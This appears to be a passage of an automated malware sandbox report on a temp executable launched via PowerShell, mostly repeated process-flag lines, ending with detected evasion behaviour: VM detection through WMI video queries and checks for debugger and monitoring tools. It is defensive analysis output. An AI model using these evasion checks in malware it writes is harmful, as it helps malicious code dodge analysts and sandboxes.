Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: HOOKEXPLORER.EXE
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AUTORUNSC.EXE
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OLLYDBG.EXE
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: REGMON.EXE
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AUTORUNS.EXE
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: FIDDLER.EXE2
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: PETOOLS.EXE
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: IDAQ.EXE
